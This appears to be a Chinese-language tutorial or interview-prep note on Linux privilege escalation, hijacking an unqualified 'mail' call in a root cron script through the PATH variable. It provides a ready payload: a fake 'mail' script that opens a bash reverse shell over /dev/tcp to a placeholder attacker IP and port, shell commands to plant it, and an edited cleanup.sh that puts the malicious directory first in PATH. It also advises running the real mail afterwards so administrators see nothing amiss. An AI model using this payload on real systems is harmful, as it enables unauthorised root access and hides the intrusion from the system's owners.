15-32
约 814 字大约 3 分钟
2025-11-02
某个定时任务执行的脚本内容是 \#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER,如何利用这个未指定绝对路径的 mail 命令提权
攻击原理:滥用 PATH 环境变量
这个漏洞利用的核心在于 PATH 环境变量的优先级
PATH的作用: 在 Linux 系统中,当用户执行一个未指定绝对路径的命令(如mail或ls)时,系统会按照PATH环境变量中列出的目录顺序,从左到右进行搜索,找到第一个匹配的同名可执行文件并运行root用户的PATH:root用户的PATH环境变量通常包含/usr/local/sbin、/usr/local/bin、/usr/sbin、/usr/bin等系统目录- 漏洞利用: 如果我们能够修改或控制脚本执行时的
PATH环境变量,将一个我们具有写入权限的目录(例如/tmp或/home/user/bin)添加到搜索路径的最前面,那么系统就会优先执行我们在这个目录中创建的恶意程序,而不是真正的/usr/bin/mail - 最终目标: 我们将创建一个名为
mail的恶意可执行文件,它真正的作用是执行我们的提权命令(获取一个 Root Shell)
攻击载荷的构造与放置
攻击的核心是创建一个名为 mail 的恶意可执行文件,并确保它能被 Root 用户的 cron 任务找到并执行
1. 构造恶意 Payload
我们创建一个简单的 Shell 脚本作为我们的恶意 mail 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 Root Shell
文件内容:
#!/bin/bash
# 1. 执行反弹 Shell 命令
# 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT
/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &
# 2. (可选)执行真正的 mail 命令以避免 cron 任务报错
# 这样做能让管理员和脚本看起来一切正常。
# /usr/bin/mail -s "Status" $USER2. Payload 放置位置
我们选择一个我们有写入权限的目录,并确保该目录能在 cleanup.sh 执行时被添加到 PATH 环境变量中
策略 A:修改用户级的 PATH 变量(针对 cron 任务)
许多系统的 cron 守护进程在执行任务时,不会加载完整的用户环境变量文件(如 .bashrc 或 .profile),而是使用一个最小化的、硬编码的 PATH。因此,我们必须直接修改 cleanup.sh 脚本或者在环境变量文件中强制覆盖
步骤 1:创建 Payload 和目录
假设我们在自己的家目录中创建这个目录和文件:
mkdir -p /home/user/bin
# 写入恶意 Shell 脚本
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail
# 赋予执行权限
chmod +x /home/user/bin/mail步骤 2:劫持 cleanup.sh 脚本的 PATH(必需)
我们必须修改 /home/user/cleanup.sh,在执行 mail 命令之前,强制将我们的恶意目录添加到 PATH 的最前面
修改后的 /home/user/cleanup.sh 脚本内容:
#!/bin/bash
# 【!!! 攻击载荷:添加恶意目录到 PATH 最前面 !!!】
export PATH="/home/user/bin:$PATH"
# 脚本中的其他命令 (都使用了绝对路径,不受影响)
/bin/some/command
/bin/another/command
# 原始命令:系统现在会优先找到 /home/user/bin/mail 并执行
echo "Cleanup started" | mail -s "Status" $USER